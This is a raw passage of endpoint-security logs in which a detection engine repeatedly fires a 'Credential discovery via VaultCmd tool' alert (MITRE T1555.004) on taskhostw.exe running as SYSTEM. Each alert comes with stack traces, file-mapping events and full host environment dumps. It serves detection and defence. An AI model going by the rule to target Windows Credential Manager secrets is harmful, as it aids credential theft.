142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps; ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T22:58:43+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: 0xfffff802c1309ef4 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c1256899 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c13111a6 C:\WINDOWS\system32\ntoskrnl.exe!PsGetThreadServerSilo+0x576|0xfffff802544e6d24 C:\WINDOWS\System32\drivers\fileinfo.sys!?|0xfffff80252c382cf C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltPerformSynchronousIo+0x12df|0xfffff80252c379b0 C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltPerformSynchronousIo+0x9c0|0xfffff80252ca7d00 C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltAllocateFileLock+0x1c30|0xfffff802c135d3ed C:\WINDOWS\system32\ntoskrnl.exe!IofCallDriver+0xcd|0xfffff802c185f8d5 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x44a5|0xfffff802c185d800 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x23d0|0xfffff802c185b631 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x201|0xfffff802c18ef86f C:\WINDOWS\system32\ntoskrnl.exe!NtCreateFile+0x13cf|0xfffff802c16b3055 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9265|0x7ffb77ea39d4 C:\Windows\System32\ntdll.dll!ZwQueryAttributesFile|0x7ffb77db0ee3 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffb77db0bb0 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffb77db0659 C:\Windows\System32\ntdll.dll!LdrGetDllHandleByMapping|0x7ffb77daff81 C:\Windows\System32\ntdll.dll!LdrGetDllHandleByMapping|0x7ffb77dafcda C:\Windows\System32\ntdll.dll!LdrGetDllHandleByMapping|0x7ffb77d8a510 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffb77d8a190 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffb77d54fb0 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffb7506dd0f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffb541c7951 C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb541cc754 C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb541b1d95 C:\Windows\System32\dcntel.dll!?|0x7ffb541b808c C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb54969e74 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb5496a097 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54968991 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54968533 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54967d39 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54968a8f C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb549687fe C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb5496a68c C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54960ee1 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54965ae0 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb549616ee C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54963dd9 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54d1af22 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d18027 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d133cc C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d13232 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d16df7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d0610f C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d06ea5 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d194f7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1a528 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d11534 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1149b C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54cfbd33 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d2db16 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30a04 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30b68 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb773ce8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffb77d48d9c C:\Windows\System32\ntdll.dll!RtlUserThreadStart + Event(s): + Seq: 391630 + Pid: 6700 + Tid: 8424 + Type: MapViewFile + CPU: 5 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 22:58:28.2861114 +0100 CET + Params: file_key➜ ffff808cc2f6f700, file_path➜ , offset➜ 0, pid➜ 6700, protection➜ READONLY, section_type➜ DATA, view_base➜ 192a8160000, view_size➜ 24576 + Metadata: rule.name: Credential discovery via VaultCmd tool, subtechnique.id: T1555.004, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, subtechnique.name: Windows Credential Manager, tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, technique.name: Credentials from Password Stores, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 6700 + Ppid: 2028 + Name: taskhostw.exe + Parent name: svchost.exe + Cmdline: taskhostw.exe + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\WINDOWS\System32\taskhostw.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [taskhostw.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps; ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T22:58:43+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: 0xfffff802c1309ef4 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c1256899 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c13111a6 C:\WINDOWS\system32\ntoskrnl.exe!PsGetThreadServerSilo+0x576|0xfffff802544e6d24 C:\WINDOWS\System32\drivers\fileinfo.sys!?|0xfffff80252c382cf C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltPerformSynchronousIo+0x12df|0xfffff80252c379b0 C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltPerformSynchronousIo+0x9c0|0xfffff80252ca7d00 C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltAllocateFileLock+0x1c30|0xfffff802c135d3ed C:\WINDOWS\system32\ntoskrnl.exe!IofCallDriver+0xcd|0xfffff802c185f8d5 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x44a5|0xfffff802c185d800 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x23d0|0xfffff802c185b631 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x201|0xfffff802c18ee9aa C:\WINDOWS\system32\ntoskrnl.exe!NtCreateFile+0x50a|0xfffff802c18ee488 C:\WINDOWS\system32\ntoskrnl.exe!NtOpenFile+0x58|0xfffff802c16b3055 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9265|0x7ffb77ea3894 C:\Windows\System32\ntdll.dll!ZwOpenFile|0x7ffb77db2377 C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffb77db00ac C:\Windows\System32\ntdll.dll!LdrGetDllHandleByMapping|0x7ffb77dafcda C:\Windows\System32\ntdll.dll!LdrGetDllHandleByMapping|0x7ffb77d8a510 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffb77d8a190 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffb77d54fb0 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffb7506dd0f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffb541c7951 C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb541cc754 C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb541b1d95 C:\Windows\System32\dcntel.dll!?|0x7ffb541b808c C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb54969e74 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb5496a097 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54968991 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54968533 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54967d39 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54968a8f C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb549687fe C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb5496a68c C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54960ee1 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54965ae0 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb549616ee C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54963dd9 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54d1af22 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d18027 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d133cc C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d13232 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d16df7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d0610f C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d06ea5 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d194f7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1a528 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d11534 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1149b C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54cfbd33 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d2db16 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30a04 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30b68 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb773ce8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffb77d48d9c C:\Windows\System32\ntdll.dll!RtlUserThreadStart + Event(s): + Seq: 391642 + Pid: 6700 + Tid: 8424 + Type: MapViewFile + CPU: 5 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 22:58:28.2891055 +0100 CET + Params: file_key➜ ffff808cc2f6d700, file_path➜ , offset➜ 12288, pid➜ 6700, protection➜ EXECUTE_READWRITE|READONLY, section_type➜ IMAGE, view_base➜ 7ffb6ba40000, view_size➜ 319488 + Metadata: tactic.name: Credential Access, tactic.id: TA0006, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.ref: https://attack.mitre.org/techniques/T1555/, rule.name: Credential discovery via VaultCmd tool, subtechnique.id: T1555.004 + + Pid: 6700 + Ppid: 2028 + Name: taskhostw.exe + Parent name: svchost.exe + Cmdline: taskhostw.exe + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\WINDOWS\System32\taskhostw.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [taskhostw.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps; ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T22:58:43+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: 0xfffff802c1309ef4 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c1256899 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c13111a6 C:\WINDOWS\system32\ntoskrnl.exe!PsGetThreadServerSilo+0x576|0xfffff802544e6d24 C:\WINDOWS\System32\drivers\fileinfo.sys!?|0xfffff80252c382cf C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltPerformSynchronousIo+0x12df|0xfffff80252c379b0 C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltPerformSynchronousIo+0x9c0|0xfffff80252ca7d00 C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltAllocateFileLock+0x1c30|0xfffff802c135d3ed C:\WINDOWS\system32\ntoskrnl.exe!IofCallDriver+0xcd|0xfffff802c185f8d5 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x44a5|0xfffff802c185d800 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x23d0|0xfffff802c185b631 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x201|0xfffff802c18ef86f C:\WINDOWS\system32\ntoskrnl.exe!NtCreateFile+0x13cf|0xfffff802c16b3055 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9265|0x7ffb77ea39d4 C:\Windows\System32\ntdll.dll!ZwQueryAttributesFile|0x7ffb77db0ee3 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffb77db0bb0 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffb77db0659 C:\Windows\System32\ntdll.dll!LdrGetDllHandleByMapping|0x7ffb77daff81 C:\Windows\System32\ntdll.dll!LdrGetDllHandleByMapping|0x7ffb77dafcda C:\Windows\System32\ntdll.dll!LdrGetDllHandleByMapping|0x7ffb77dbd270 C:\Windows\System32\ntdll.dll!RtlRaiseStatus|0x7ffb77dbe4b1 C:\Windows\System32\ntdll.dll!RtlRaiseStatus|0x7ffb773ce8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffb77d48d9c C:\Windows\System32\ntdll.dll!RtlUserThreadStart + Event(s): + Seq: 391467 + Pid: 6700 + Tid: 4236 + Type: MapViewFile + CPU: 6 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 22:58:28.2698793 +0100 CET + Params: file_key➜ ffff808cc2421170, file_path➜ , offset➜ 12288, pid➜ 6700, protection➜ EXECUTE_READWRITE|READONLY, section_type➜ IMAGE, view_base➜ 7ffb72160000, view_size➜ 1187840 + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, tactic.name: Credential Access, rule.name: Credential discovery via VaultCmd tool, tactic.id: TA0006, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004 + + Pid: 6700 + Ppid: 2028 + Name: taskhostw.exe + Parent name: svchost.exe + Cmdline: taskhostw.exe + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\WINDOWS\System32\taskhostw.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [taskhostw.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps; ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T22:58:43+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: 0xfffff802c1309ef4 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c1256899 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c13111a6 C:\WINDOWS\system32\ntoskrnl.exe!PsGetThreadServerSilo+0x576|0xfffff802544e6d24 C:\WINDOWS\System32\drivers\fileinfo.sys!?|0xfffff80252c382cf C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltPerformSynchronousIo+0x12df|0xfffff80252c379b0 C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltPerformSynchronousIo+0x9c0|0xfffff80252ca7d00 C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltAllocateFileLock+0x1c30|0xfffff802c135d3ed C:\WINDOWS\system32\ntoskrnl.exe!IofCallDriver+0xcd|0xfffff802c185f8d5 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x44a5|0xfffff802c185d800 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x23d0|0xfffff802c185b631 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x201|0xfffff802c18ee9aa C:\WINDOWS\system32\ntoskrnl.exe!NtCreateFile+0x50a|0xfffff802c18ee488 C:\WINDOWS\system32\ntoskrnl.exe!NtOpenFile+0x58|0xfffff802c16b3055 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9265|0x7ffb77ea3894 C:\Windows\System32\ntdll.dll!ZwOpenFile|0x7ffb77db2377 C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffb77db00ac C:\Windows\System32\ntdll.dll!LdrGetDllHandleByMapping|0x7ffb77dafcda C:\Windows\System32\ntdll.dll!LdrGetDllHandleByMapping|0x7ffb77dbd270 C:\Windows\System32\ntdll.dll!RtlRaiseStatus|0x7ffb77dbe4b1 C:\Windows\System32\ntdll.dll!RtlRaiseStatus|0x7ffb773ce8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffb77d48d9c C:\Windows\System32\ntdll.dll!RtlUserThreadStart + Event(s): + Seq: 392714 + Pid: 6700 + Tid: 4236 + Type: MapViewFile + CPU: 1 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 22:58:28.4293908 +0100 CET + Params: file_key➜ ffff808cc22379f0, file_path➜ , offset➜ 12288, pid➜ 6700, protection➜ EXECUTE_READWRITE|READONLY, section_type➜ IMAGE, view_base➜ 7ffb73f10000, view_size➜ 311296 + Metadata: rule.name: Credential discovery via VaultCmd tool, tactic.id: TA0006, technique.id: T1555, technique.name: Credentials from Password Stores, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.name: Windows Credential Manager, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004 + + Pid: 6700 + Ppid: 2028 + Name: taskhostw.exe + Parent name: svchost.exe + Cmdline: taskhostw.exe + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\WINDOWS\System32\taskhostw.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [taskhostw.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe 